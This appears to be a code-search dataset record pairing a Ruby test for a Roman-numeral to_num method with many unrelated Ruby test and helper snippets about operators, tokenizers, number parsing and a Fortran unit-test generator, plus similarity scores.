"def test_TrueClass_InstanceMethods_ExclusiveOr\n\t\tassert_equal(false, true ^ true)\n\t\tassert_equal(true, true ^ false)\n\t\tassert_equal(true, false ^ true)\n\tend",
"def validate_operation\n ops = [\"add\", \"sub\", \"mult\", \"div\", \"exp\", \"sqrt\"]\n if ops.include?(@operation) == false\n puts \" \"\n puts \"Please put in a valid operation\"\n puts \" \"\n get_operation\n end\nend",
"def test_constants_mode_bit_existence\n ::Malody::Mode.constants.each do |mode|\n refute_nil ::Malody::Mode.get_bit(mode), \"None of the constants should be invalid.\"\n end\n end",
"def test_TrueClass_InstanceMethods_or\n\t\tassert_equal(true, false | true)\n\t\tassert_equal(true, true | false)\n\t\tassert_equal(true, true | true)\n\t\tassert_equal(false, false | false)\n\tend",
"def test_operator_command_errors\n optest_command_ok(\"reset\")\n optest_command_error(\"foo\")\n optest_command_error(\"foo blah blah\")\n optest_command_error(\"reset blah blah\")\n optest_command_error(\"data blah blah\")\n optest_command_error(\"state blah blah\")\n optest_command_error(\"total blah blah\")\n optest_command_error(\"help blah blah\")\n optest_command_error(\"load\")\n optest_command_error(\"load blah\")\n optest_command_error(\"load blah OK blah\")\n optest_command_error(\"add\")\n optest_command_error(\"add blah blah\")\n optest_command_error(\"check blah blah\")\n optest_command_error(\"data\")\n optest_command_error(\"total\")\n optest_command_error(\"check\")\n optest_command_ok(\"reset\")\n optest_command_error(\"add data/Tests/Default/JD.yml\")\n optest_command_ok(\"load data/Tests/Default/JD.yml data/Tests/Default/ED.yml OK\")\n optest_command_ok(\"check\")\n optest_command_error(\"load data/Tests/Default/JD.yml data/Tests/Default/ED.yml OK\")\n end",
"def test_operators_that_dont_belong_together\n tok = initialize_tokenizer( <<-EOD\n +*\n EOD\n )\n\n assert_equal('+', tok.next.token.value) \n assert_equal('*', tok.next.token.value) \n end",
"def get_constant_expect testcase\n testcase[\"result\"][\"value\"]\n end",
"def test_operaciones\n\t\t#Con la Suma\n\t\tassert_equal(\"6\", Fraccion.new(25,5).suma(3,3).to_s)\n\t\tassert_equal(\"8/3\", Fraccion.new(2,3).suma(4,2).to_s) \n\t\t#Con la Resta\n\t\tassert_equal(\"-4/3\", Fraccion.new(2,3).resta(4,2).to_s)\n\t\tassert_equal(\"-3\", Fraccion.new(-4,2).resta(2,2).to_s)\n\t\t#Con la Multiplicacion\n\t\t#Se comprueban todas las posibilidades\n\t\tassert_equal(\"4/15\", Fraccion.new(2,3).mult(2,5).to_s)\n\t\tassert_equal(\"-2/5\", Fraccion.new(1,1).mult(-2,5).to_s)\n\t\tassert_equal(\"1\", Fraccion.new(5,5).mult(1,1).to_s)\n\t\tassert_equal(\"-1\", Fraccion.new(-5,5).mult(1,1).to_s)\n\t\tassert_equal(\"-1\", Fraccion.new(5,-5).mult(1,1).to_s)\n\t\tassert_equal(\"1\", Fraccion.new(-5,-5).mult(1,1).to_s)\n\t\tassert_equal(\"1/2\", Fraccion.new(5,5).mult(1,2).to_s)\n\t\tassert_equal(\"-1/2\", Fraccion.new(-5,5).mult(1,2).to_s)\n\t\tassert_equal(\"-1/2\", Fraccion.new(5,-5).mult(1,2).to_s)\n\t\tassert_equal(\"1/2\", Fraccion.new(-5,-5).mult(1,2).to_s)\n\t\tassert_equal(\"0\", Fraccion.new(0,5).mult(1,2).to_s)\n\t\tassert_equal(\"0\", Fraccion.new(0,-5).mult(1,2).to_s)\n\t\tassert_equal(\"0\", Fraccion.new(5,-5).mult(0,2).to_s)\n\t\tassert_equal(\"0\", Fraccion.new(-5,-5).mult(0,2).to_s)\n\t\t#Con la Division\n\t\tassert_equal(\"5/3\", Fraccion.new(2,3).div(2,5).to_s)\n\t\tassert_equal(\"-1\", Fraccion.new(25,5).div(-10,2).to_s)\n\t\tassert_equal(\"-1\", Fraccion.new(-25,5).div(10,2).to_s)\n\tend",
"def test_more_than_one_variable\n assert_equal(20,minus(80,40,20))\t\n end",
"def test_Complex_InstanceMethods_rectangular\n\t\tassert_equal([0,1], Complex::I.rectangular)\n\t\tassert_equal([2,3], Complex('2+3i').rectangular)\n\tend",
"def DISABLED_test_integer_plus_sequence\n assert_tokenises_as '2+2', IntegerToken.new(2), AddOpToken.instance, IntegerToken.new(2)\n assert_tokenises_as '2+-2', IntegerToken.new(2), AddOpToken.instance, IntegerToken.new(-2)\n end",
"def validate_operations(context, types)\n context.operations.length.should == types.length\n context.operations.each_with_index do |op, i|\n op.type.should == types[i]\n end\nend",
"def test_valid_eval\n assert_equal [11, 'valid'], @eval.evaluate([5, 6, '+'])\n end",
"def __\n raise \"__ should be replaced with a value or expression to make the test pass.\"\nend",
"def spec\n string_match_operator\n string_element_reference_regexp\n string_byteslice\n string_scan\n string_unary_minus\n string_reverse\n string_tr\n\n true\nend",
"def test_execute_expression\n assert_equal(\"L\", RomanMathmaticalOperation.new(\"XL\",\"+\",\"X\").execute_expression)\n assert_equal(\"XCIX\", RomanMathmaticalOperation.new(\"C\",\"-\",\"I\").execute_expression)\n assert_equal(\"X\", RomanMathmaticalOperation.new(\"C\",\"/\",\"X\").execute_expression)\n assert_equal(\"C\", RomanMathmaticalOperation.new(\"X\",\"*\",\"X\").execute_expression)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"Y\",\"*\",\"X\").execute_expression}\n assert_equal(\"Not valid input\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\",\"*\",0).execute_expression}\n assert_equal(\"Not valid input\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"+\").execute_expression}\n assert_equal(\"This X or is not valid\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"%\",\"V\").execute_expression}\n assert_equal(\"Operator missmatch\", exception.message)\n end",
"def test_symbols_cannot_be_concatenated\n # Exceptions will be pondered further down the path\n ##assert_raise(___) do\n assert_raise(NoMethodError) do\n :cats + :dogs\n end\n\n # Because you can't concatenate symbols, trying to use the \"+\" operator on them returns the NoSuchMethod exception\n end",
"def test_Complex_ClassMethods_rect\n\t\tassert_equal(Complex(\"1.23+0.5i\"), Complex.rectangular(1.23, 0.5))\n\tend",
"def test_extended\r\n\t\tassert('two'.length == 3)\t\t\t\t\t\t# Boolean expression\r\n\t\tassert_not_equal(\"Expected\", \"Actual\")\t\t\t# != \r\n\t\tassert_raise(ZeroDivisionError) { 2/0} \t\t\t# Exception type\r\n\t\tassert_nothing_raised(ZeroDivisionError) { 2/1 }# Positive if the none of the exceptions raised\r\n\t\tassert_instance_of(String, 23) \t\t\t\t# Checks the object against its type\r\n\tend",
"def process_const(exp)\n resultify(@model.lookup_constant(constify(exp, :const)))\n end",
"def DISABLED_test_exponent_token\n assert_tokenises_as '^', ExponentOpToken.instance\n assert_tokenises_as ' ^', ExponentOpToken.instance\n assert_tokenises_as ' ^ ', ExponentOpToken.instance\n end",
"def test_multi\n aval = AvalExpMath.new(\"5 * 2\")\n assert_equal(aval.solve_exp, 10) \n end",
"def test_and_pushes_true_when_2_tos_are_both_true\n @ctx.constants = [true, true]\n @bc.codes = [:cls, :pushc, 0, :pushc, 1, :and, :halt]\n assert @ci.run\n end",
"def test_and_simple\n bc, ctx = compile 'true and false'\n ci = mkci bc, ctx\n assert_false ci.run\n end",
"def test_manipulation()\n t = Turn.new([1,2,3,4])\n\n t.black_hits = 1\n t.white_hits = 1\n\n # Testen des ueberschreiben\n assert_raise(RuleViolationError) do\n t.black_hits = 2\n end\n assert_raise(RuleViolationError) do\n t.white_hits = 2\n end\n assert_equal(1, t.black_hits)\n assert_equal(1, t.white_hits)\n\n # Testen ob der Code geandert werden darf\n t.code.push(1)\n assert_equal([1,2,3,4], t.code)\n\n end",
"def check_operation x, num1, num2\n case x\n when \"+\" then num1 + num2\n when \"-\" then num1 - num2\n when \"*\" then num1 * num2\n when \"/\" then num1 / num2\n when \"exp\" then num1 ** num2\n when \"sqrt\" then Math.sqrt num1\n else \"Invalid operation choosen\"\n end\nend",
"def test_symbols_cannot_be_concatenated\n # Exceptions will be pondered further father down the path\n assert_raise(NoMethodError) do\n :cats + :dogs\n end\n end",
"def test_simple_equations\t\t\n \tassert_equal 3\t,Equation.new('2+1').resolve\t\n \tassert_equal 3\t,Equation.new('(2+1)').resolve\t\n \tassert_equal 5\t,Equation.new(' 4 + 1').resolve\n \tassert_equal 21\t,Equation.new(' 4*5 + 1').resolve\n \tassert_equal 21\t,Equation.new(' 4 *5 + 1').resolve\n \tassert_equal 19\t,Equation.new(' 4 *5 + -1 ').resolve\n end",
"def test_rangeO_fundamental_operators\n i = -1\n RANGES.each do |(sX, sY, _)|\n i += 1\n pX = Allens::rangeO(sX)\n pY = Allens::rangeO(sY)\n\n FUNDAMENTAL_TESTS.each_with_index do |test, j|\n want = i == j\n assert_equal want, pX.send(test, pY)\n end\n end\n end",
"def test_m_greater_1\n assert_not_nil \"troubles\" =~ PorterStemmer::Porter1::MGR1\n assert_not_nil \"private\" =~ PorterStemmer::Porter1::MGR1\n assert_not_nil \"oaten\" =~ PorterStemmer::Porter1::MGR1\n assert_not_nil \"orrery\" =~ PorterStemmer::Porter1::MGR1\n assert_not_nil \"crepuscular\" =~ PorterStemmer::Porter1::MGR1\n end",
"def constant; end",
"def test_word_operator\n tokenizer = Tokenizer.new\n tokenizer.text = \"and or\"\n tokenizer.tokenize\n tokens = tokenizer.tokens\n\n #test type of token\n assert_equal(\"OperatorToken\", tokens.first.class.name)\n\n #test values\n assert_equal(\"AND\", tokens.first.val)\n assert_equal(\"OR\", tokens.last.val)\n\n #test position\n assert_equal(4, tokens.last.start_index)\n assert_equal(6, tokens.last.end_index)\n end",
"def DISABLED_test_subtraction_with_addition\n assert_parses_to [DecimalToken.new(0), SubtractOpToken.instance, IntegerToken.new(2), AddOpToken.instance, DecimalToken.new(3)],\n ExpressionNode.new(\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n DecimalToken.new(0))),\n TermPrimeNode.new),\n ExpressionPrimeNode.new(\n SubtractOpToken.instance,\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n IntegerToken.new(2))),\n TermPrimeNode.new),\n ExpressionPrimeNode.new(\n AddOpToken.instance,\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n DecimalToken.new(3))),\n TermPrimeNode.new),\n ExpressionPrimeNode.new)))\n end",
"def DISABLED_test_multiplication_addition_and_division\n assert_parses_to [DecimalToken.new(0),\n MultiplyOpToken.instance,\n IntegerToken.new(2),\n AddOpToken.instance,\n IntegerToken.new(3),\n DivideOpToken.instance,\n IntegerToken.new(4)],\n ExpressionNode.new(\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n DecimalToken.new(0))),\n TermPrimeNode.new(\n MultiplyOpToken.instance,\n FactorNode.new(\n BaseNode.new(\n IntegerToken.new(2))),\n TermPrimeNode.new)),\n ExpressionPrimeNode.new(\n AddOpToken.instance,\n TermNode.new(\n FactorNode.new(\n BaseNode.new(\n IntegerToken.new(3))),\n TermPrimeNode.new(\n DivideOpToken.instance,\n FactorNode.new(\n BaseNode.new(\n IntegerToken.new(4))),\n TermPrimeNode.new)),\n ExpressionPrimeNode.new))\n end",
"def test_get_token\n # iterate through all the test cases\n token_test_cases.each do |t|\n token = IR.new.get_token_str([t[:str]])\n assert_equal(\n t[:desired_tokens],\n token.map(&:to_s)\n )\n end\n end",
"def test_get_token\n # iterate through all the test cases\n token_test_cases.each do |t|\n token = IR.new.get_token_str([t[:str]])\n assert_equal(\n t[:desired_tokens],\n token.map(&:to_s)\n )\n end\n end",
"def const_value() Undef end",
"def test_get_coins_valid\r\n assert_equal 'ab12', @g.get_coins('(ab12)')\r\n end",
"def constants\n if !@@initialized\n @@initialized = true\n\n @@strings = Oxford.re(S, :capture_name => 'strings')\n enum = \"one\\s+of\\s+#{@@strings}\"\n\n @@predicate = \"(#{RELATIONAL}|#{enum})\"\n end\n end",
"def test_predicate_accessor\n assert(@valid_source.predicate_set(:meetest, \"array_test_acc\", \"bla\"))\n assert_equal(@valid_source.predicate(:meetest, \"array_test_acc\"), @valid_source.meetest::array_test_acc)\n assert_equal(\"bla\", @valid_source.predicate(:meetest, \"array_test_acc\")[0])\n end",
"def DISABLED_test_integer_divide_sequence\n assert_tokenises_as '2/2', IntegerToken.new(2), DivideOpToken.instance, IntegerToken.new(2)\n assert_tokenises_as '2/-2', IntegerToken.new(2), DivideOpToken.instance, IntegerToken.new(-2)\n end",
"def test_contains_four_eachface\n assert true == false\n end",
"def test_mine_sutter_creek\r\n\t@test_prospector.current_location = 'Sutter Creek'\r\n\t@test_prospector.mine\r\n\tassert_operator 2, :>=, @test_prospector.current_gold\r\n\tassert_equal 0, @test_prospector.current_silver\r\n\tassert_operator 2, :>=, @test_prospector.total_gold\r\n\tassert_equal 0, @test_prospector.total_silver\r\n end",
"def test_standard_words\n @words = @tester.words(42)\n @words.each {|w| assert @standard_wordlist.include?(w) }\n end",
"def test_set3_16_check()\n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n acc_type = 'deny' \n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n end",
"def test_value\n assert_equal 4095, @flag.value\n assert_equal 0, @flag_zero.value\n end",
"def test_10_times_0_is0\n\t\tassert_equal(0, multi(10,0))\t\t\n\tend",
"def test_Complex_InstanceMethods_to_i\n\t\tassert_equal((5/2), Complex(2.5, 0).to_i)\n\tend",
"def test_appellation_validity\n assert @valid_appellation_1.valid?\n assert @valid_appellation_2.valid?\n end",
"def test_invalid_eval_b\n assert_equal [3, nil], @eval.evaluate([5, 4, 6, '+'])\n end",
"def DISABLED_test_subtract_token\n assert_tokenises_as '-', SubtractOpToken.instance\n assert_tokenises_as ' -', SubtractOpToken.instance\n assert_tokenises_as ' - ', SubtractOpToken.instance\n end",
"def test_Complex_InstanceMethods_rect\n\t\tassert_equal([0,1], Complex::I.rect)\n\t\tassert_equal([2,3], Complex('2+3i').rect)\n\tend",
"def test_constants_mode_bit_combination\n 3.times.each do |j|\n 6.times.each do |i|\n if i < 3 then\n min_mode, max_mode = 2, 4\n else\n min_mode, max_mode = 3, 6\n end\n modes = ::Malody::Mode.constants.sample(rand(min_mode..max_mode))\n conv_index = (0...modes.size).to_a.sample(modes.size * j / 2)\n conv_index.each do |idx| modes[idx] = ::Malody::Mode.const_get(modes[idx]) end\n bits = modes.map do |mode| Symbol === mode ? ::Malody::Mode.get_bit(mode) : (1 << mode) end\n mode_sum = bits.inject(0, :+)\n mode_value = ::Malody::Mode.get_mode_value(*modes)\n refute_nil mode_value, \"Empty modes are not supposed to be allowed.\"\n assert_equal mode_sum, mode_value, \"Bits are expected to add each other as well.\"\n end\n end\n end",
"def DISABLED_test_decimal_multiply_sequence\n assert_tokenises_as '2.*2.0', DecimalToken.new(2), MultiplyOpToken.instance, DecimalToken.new(2)\n assert_tokenises_as '2.0*-2.', DecimalToken.new(2), MultiplyOpToken.instance, DecimalToken.new(-2)\n end",
"def test_first_example\n assert_equal(0, purple([\"+1\", \"-1\"]))\n end",
"def DISABLED_test_three_minus\n assert_does_not_parse [DecimalToken.new(3), SubtractOpToken.instance]\n end",
"def test_method\n #==\n assert_operator(@m2,'==',@m5)\n #max y min\n assert_equal(5,@m4.max)\n assert_equal(4,@m6.max)\n assert_equal(1,@m6.min)\n #Operaciones\n assert_equal(Matriz.vector(2,2,[1,2,2,1]).to_s,(@m1+@m2).to_s)\n assert_equal(Matriz.vector(2,2,[1,0,0,1]).to_s,(@m2-@m1).to_s)\n assert_equal(Matriz.vector(2,2,[1,1,1,1]).to_s,(@m1*@m2).to_s)\n assert_equal(Matriz.vector(2,2,[2,2,2,2]).to_s,(@m2*2).to_s)\n end",
"def test_check_valid\n assert_equal check_valid([2, '1', '5']), [0, 2, 1, 5]\n end",
"def test_Complex_ClassMethods_rect\n\t\tassert_equal(Complex(\"1.23+0.5i\"), Complex.rect(1.23, 0.5))\n\tend",
"def test_match\n\t\tassert_equal(2,add(1,1))\n\tend",
"def test_it_can_add_two_number\n calc = Calculator.new\n\n result = calc.add(2, 4)\n\n assert_equal 6, result\nend",
"def test_addition_of_two_number\n # assert_raises \"Invalid values.\" do\n magic_ball = MagicBall.new\n puts \"--------------\"\n puts magic_ball.addition(5, 5)\n puts \"--------------\"\n assert magic_ball.addition(5, 5), 10\n # assert addition == 10\n # end\n end",
"def expected_value; end",
"def expected_value; end",
"def test_concatenation_operator\n assert_respond_to @v, :>>\n assert_equal MyVector[1,2,4], @v << 4\n end",
"def assert_operator(o1, op, o2 = T.unsafe(nil), msg = T.unsafe(nil)); end",
"def test_add_new_product\n new_product = @productsController.add_new_product\n # assert_operator(new_product, :>, 0)\n end",
"def test_NilClass_InstanceMethods_ExclusiveOr\n\t\tassert_equal(true, nil ^ \"obj\")\n\t\tassert_equal(false, nil ^ nil)\n\tend",
"def DISABLED_test_decimal_plus_sequence\n assert_tokenises_as '2.+2.0', DecimalToken.new(2), AddOpToken.instance, DecimalToken.new(2)\n assert_tokenises_as '2.0+-2.', DecimalToken.new(2), AddOpToken.instance, DecimalToken.new(-2)\n end",
"def test_operator_maths\n @eval.load_stacks([5, 6, '-', '*'])\n assert_equal [2, nil], @eval.maths\n end",
"def create_scalar(testinfo, typeinfo)\n src=\"\"\n if typeinfo[:type] == \"COMPLEX\" then\n src=<<-EOF\n SUBROUTINE #{typeinfo[:tag]}_#{testinfo[:type]}_equalwithin_s( self, Expected, Actual, Tolerance )\n ! Arguments\n CLASS(UnitTest_type), INTENT(IN OUT) :: self\n #{typeinfo[:type]}(#{typeinfo[:kind]}), INTENT(IN) :: Expected, Actual, Tolerance\n ! Parameters\n CHARACTER(*), PARAMETER :: PROCEDURE_NAME = 'UnitTest::#{testinfo[:type].capitalize}_EqualWithin[#{typeinfo[:type]}(#{typeinfo[:kind]})]'\n ! Variables\n REAL(#{typeinfo[:kind]}) :: deltar, deltai\n REAL(#{typeinfo[:kind]}) :: zr, zi\n REAL(#{typeinfo[:kind]}) :: dzr, dzi\n LOGICAL :: test\n LOGICAL :: verbose\n CHARACTER(SL) :: message\n ! Setup\n ! ...Split expected into real and imag\n zr = REAL(Expected,#{typeinfo[:kind]})\n zi = AIMAG(Expected)\n ! ...Local delta for test\n deltar = REAL(Tolerance,#{typeinfo[:kind]})\n IF ( deltar < 0.0_#{typeinfo[:kind]} ) deltar = EPSILON(zr)\n deltai = AIMAG(Tolerance)\n IF ( deltai < 0.0_#{typeinfo[:kind]} ) deltai = EPSILON(zi)\n ! ...Assign the test\n dzr = ABS(zr - REAL(Actual,#{typeinfo[:kind]}))\n dzi = ABS(zi - AIMAG(Actual))\n test = #{testinfo[:unary]}((dzr < deltar) .AND. (dzi < deltai))\n ! ...Locally modify properties for this test\n CALL Get_Property( &\n self, &\n Verbose = verbose )\n verbose = verbose .OR. (.NOT. test) ! Always output test failure\n ! Assert the test\n IF ( test ) THEN\n CALL Test_Passed( self )\n ELSE\n CALL Test_Failed( self )\n END IF\n ! Generate the test message\n WRITE( Message, &\n '(a,7x,\"Expected : \",#{typeinfo[:fmt]},a,&\n &7x,\"#{testinfo[:msg]} : \",#{typeinfo[:fmt]},a,&\n &7x,\"And got : \",#{typeinfo[:fmt]},a,&\n &7x,\"|Difference| : \",#{typeinfo[:fmt]})') &\n CRLF, Expected, CRLF, CMPLX(deltar,deltai,#{typeinfo[:kind]}), CRLF, Actual, CRLF, dzr, dzi\n ! Load the object with the message\n CALL Set_Property( &\n self, &\n Level = TEST_LEVEL, &\n Procedure = PROCEDURE_NAME, &\n Message = message )\n ! Output the result\n IF ( verbose ) CALL Display_Message( self )\n END SUBROUTINE #{typeinfo[:tag]}_#{testinfo[:type]}_equalwithin_s\n \n \n EOF\n else\n src=<<-EOF\n SUBROUTINE #{typeinfo[:tag]}_#{testinfo[:type]}_equalwithin_s( self, Expected, Actual, Tolerance )\n ! Arguments\n CLASS(UnitTest_type), INTENT(IN OUT) :: self\n #{typeinfo[:type]}(#{typeinfo[:kind]}), INTENT(IN) :: Expected, Actual, Tolerance\n ! Parameters\n CHARACTER(*), PARAMETER :: PROCEDURE_NAME = 'UnitTest::#{testinfo[:type].capitalize}_EqualWithin[#{typeinfo[:type]}(#{typeinfo[:kind]})]'\n ! Variables\n #{typeinfo[:type]}(#{typeinfo[:kind]}) :: delta\n LOGICAL :: test\n LOGICAL :: verbose\n CHARACTER(SL) :: message\n ! Setup\n ! ...Local delta for test\n delta = Tolerance\n IF ( delta < 0.0_#{typeinfo[:kind]} ) delta = EPSILON(Expected)\n ! ...Assign the test\n test = #{testinfo[:unary]}(ABS(Expected-Actual) < delta)\n ! ...Locally modify properties for this test\n CALL Get_Property( &\n self, &\n Verbose = verbose )\n verbose = verbose .OR. (.NOT. test) ! Always output test failure\n ! Assert the test\n IF ( test ) THEN\n CALL Test_Passed( self )\n ELSE\n CALL Test_Failed( self )\n END IF\n ! Generate the test message\n WRITE( Message, &\n '(a,7x,\"Expected : \",#{typeinfo[:fmt]},a,&\n &7x,\"#{testinfo[:msg]} : \",#{typeinfo[:fmt]},a,&\n &7x,\"And got : \",#{typeinfo[:fmt]},a,&\n &7x,\"|Difference| : \",#{typeinfo[:fmt]})') &\n CRLF, Expected, CRLF, delta, CRLF, Actual, CRLF, ABS(Expected-Actual)\n ! Load the object with the message\n CALL Set_Property( &\n self, &\n Level = TEST_LEVEL, &\n Procedure = PROCEDURE_NAME, &\n Message = message )\n ! Output the result\n IF ( verbose ) CALL Display_Message( self )\n END SUBROUTINE #{typeinfo[:tag]}_#{testinfo[:type]}_equalwithin_s\n \n \n EOF\n end\n src\n end",
"def DISABLED_test_several_numbers\n assert_tokenises_as '1 -2 3. -4.0',\n IntegerToken.new(1),\n IntegerToken.new(-2),\n DecimalToken.new(3),\n DecimalToken.new(-4)\n end",
"def valid_operator(user_operator)\n possible_operators = [ \"add\", \"+\", \"subtract\", \"-\", \"multiply\", \"x\", \"*\", \"divide\", \"/\" ]\n possible_operators.include?(user_operator)\nend"
] | [
"0.6109371",
"0.60394484",
"0.60276",
"0.59736854",
"0.59708774",
"0.59016097",
"0.58830816",
"0.5774712",
"0.57667834",
"0.57628566",
"0.5742937",
"0.57201487",
"0.56682926",
"0.56682926",
"0.5651048",
"0.5628848",
"0.5625803",
"0.5622729",
"0.5618326",
"0.56170195",
"0.5600522",
"0.5600522",
"0.5600522",
"0.55877125",
"0.5583268",
"0.5582743",
"0.55702806",
"0.5568123",
"0.55436337",
"0.55411094",
"0.55341756",
"0.55270845",
"0.5517162",
"0.54955465",
"0.5492668",
"0.5486509",
"0.5485226",
"0.5477898",
"0.5476365",
"0.54384303",
"0.5420844",
"0.5414875",
"0.54108304",
"0.5405227",
"0.5398676",
"0.539679",
"0.5367049",
"0.53645724",
"0.53633046",
"0.53594744",
"0.53534734",
"0.53354293",
"0.5330601",
"0.53294677",
"0.5322676",
"0.5322596",
"0.531703",
"0.5315949",
"0.5310166",
"0.5307137",
"0.5305493",
"0.5297727",
"0.5297727",
"0.52947503",
"0.5291374",
"0.52904016",
"0.5284277",
"0.5278631",
"0.52768785",
"0.52761185",
"0.5272019",
"0.5269129",
"0.52688915",
"0.526468",
"0.5260161",
"0.5252921",
"0.52449",
"0.5240236",
"0.52378815",
"0.52324003",
"0.5231981",
"0.5229586",
"0.52260685",
"0.5217006",
"0.52134216",
"0.5210235",
"0.520753",
"0.5207403",
"0.5206844",
"0.5206117",
"0.5206117",
"0.52028",
"0.52024865",
"0.5195622",
"0.5186107",
"0.51803744",
"0.5177206",
"0.5173989",
"0.51726145",
"0.517157"
] | 0.64948773 | 0 |
TEST CASE: to_num METHOD. IT SHOULD RETURN INTEGER VALUE IF VALID INPUT (ROMAN LETTER) PASSED ELSE RETURN 0 | def test_to_num
assert_equal(11, RomanMathmaticalOperation.new.send(:to_num,"XI"))
assert_equal(0, RomanMathmaticalOperation.new.send(:to_num,"wrong"))
assert_not_equal(11, RomanMathmaticalOperation.new.send(:to_num,"X"))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def letter_to_num(letter)\n \n if letter?(letter) == false\n return false\n end\n \n if letter.length != 1\n return false\n end\n \n letter = letter.downcase\n \n number = letter.ord - 96\nend",
"def charToNum(letter)\n return letter.upcase.ord-65 #ensure this is uppercase???\nend",
"def isNumber(character)\n return character.to_i.to_s == character.to_s\nend",
"def letter_to_number(letter)\n letter.ord - 64\nend",
"def convert_string_to_number(str); end",
"def convert_to_number\n @roman_util.compute_number\n end",
"def get_num\n la = $lookahead\n\n return expected(\"Integer\") unless is_digit(la)\n\n lookahead\n\n la\nend",
"def letter_to_number(letter)\n case letter\n when \"A\", \"B\", \"C\"\n print \"2\"\n when \"D\", \"E\", \"F\"\n print \"3\"\n when \"G\", \"H\", \"I\"\n print \"4\"\n when \"J\", \"K\", \"L\"\n print \"5\"\n when \"M\", \"N\", \"O\"\n print \"6\"\n when \"P\", \"Q\", \"S\", \"T\"\n print \"7\"\n when \"T\", \"U\", \"V\"\n print \"8\"\n when \"W\", \"X\", \"Y\", \"Z\"\n print \"9\"\n when \" \"\n print \"-\"\n else \n print \"Not a letter\"\n end\nend",
"def string_catch(num)\n if num == \"\"\n return 0\n elsif\n num.to_i == 0 && num != \"0\"\n abort(\"That's not a number\")\n else\n return num.to_i\n end\nend",
"def number2?(input)\n /\\p{N}/.match(input) || /\\p{Nd}/.match(input)\nend",
"def string_to_number(s)\n s.to_i\nend",
"def string_to_number(s)\n s.to_i\nend",
"def string_to_number(string)\n string.to_i\nend",
"def isNum(c)\r\n\tInteger(c) rescue return false\r\n\treturn true\r\nend",
"def check_num_str(m)\n if m.to_i == 0\n m.to_s\n else\n m.to_i\n end\n end",
"def get_char_number(char)\n a = 'a'.ord\n z = 'z'.ord\n val = char.ord\n\n if a <= val && val <= z\n return val - a\n end\n\n -1\nend",
"def validnum?(num)\n num == num.to_i.to_s\nend",
"def is_number(input)\n input.to_s == input.to_i.to_s\nend",
"def test_num9\n result = numbers?(\"RYANSTANTz18**\")\n assert(result, \"'RYANSTANTz18**' should be valid because it contains a number\")\n end",
"def to_digit\n return NUMBER[self] if self <= 9 && self >= 0\n NUMBER[0]\n end",
"def non_zero_digit; end",
"def get_num\n value = 0\n\n return expected(\"Integer\") unless is_digit($lookahead)\n\n while is_digit($lookahead)\n value = 10 * value + $lookahead.to_i\n lookahead\n end\n\n value\nend",
"def check_digit\n dv\n end",
"def get_num\n value = \"\"\n\n return expected(\"Integer\") unless is_digit($lookahead)\n\n while is_digit($lookahead)\n value << $lookahead\n lookahead\n end\n\n skip_white\n\n value\nend",
"def test_check_digits_alpha\r\n assert_nil @g.check_digits('01234a6789')\r\n end",
"def test_is_nummeric\n assert(StringChecker.is_numeric?(\"+20\"))\n assert(StringChecker.is_numeric?(\"-020\"))\n assert(StringChecker.is_numeric?(\"123\"))\n assert(StringChecker.is_numeric?(\"0123\"))\n assert(!StringChecker.is_numeric?(\"1.2\"))\n assert(!StringChecker.is_numeric?(\"asdf\"))\n assert(!StringChecker.is_numeric?(\" \"))\n end",
"def valid_num?(number)\n number == number.to_i.to_s\nend",
"def test_can_convert_numbers\n\t\tassert_equal(11, arabic_converter(\"XI\"))\n\t\tassert_equal(14, arabic_converter(\"XIV\"))\n\t\tassert_equal(19, arabic_converter(\"XIX\"))\n\t\tassert_equal(16, arabic_converter(\"XVI\"))\n\t\tassert_equal(18, arabic_converter(\"XVIII\"))\n\tend",
"def convert_string_input_to_integer(str)\n is_string_a_valid_integer?(str) ? str.to_i : nil\nend",
"def replaceCharToNumber(char)\n case char\n when 'T'\n then\n char = 10\n when 'J'\n then\n char = 11\n when 'Q'\n then\n char = 12\n when 'K'\n then\n char = 13\n when 'A'\n then\n char = 14\n end\n char.to_i\nend",
"def to_inum(base, check=false)\n if check && self.__at('__')._not_equal?(nil)\n raise ArgumentError, \"__ in string, in to_inum\"\n end\n str = self.strip\n sign_str = nil\n if base._equal?(0)\n arr = str.__extract_base(10)\n base = arr.__at(0)\n sign_str = arr.__at(1)\n str = arr.__at(2)\n s = str\n else\n s = str\n first_ch = s.__at(0)\n if first_ch.eql?( ?+ ) || first_ch.eql?( ?- )\n s = s.__at(1, s.__size - 1)\n end\n end\n if check\n s = s.downcase.__delete_underscore\n bad = false\n if base._equal?(10)\n bad = s =~ /[^0-9]/\n elsif base._equal?(8)\n bad = s =~ /[^0-7]/\n elsif base._equal?(16)\n bad = s =~ /[^0123456789abcdef]/\n elsif base._equal?(2)\n bad = s =~ /[^01]/\n else\n raise ArgumentError, \"to_inum, unsupported base #{base} \"\n end\n if bad\n raise ArgumentError, \"to_inum, illegal character for base #{base} in #{self.inspect}\"\n end\n end\n num = Integer.__from_string_radix(str, base)\n if sign_str._not_equal?(nil) && sign_str[0].eql?( ?- )\n num = num * -1\n end\n num\n end",
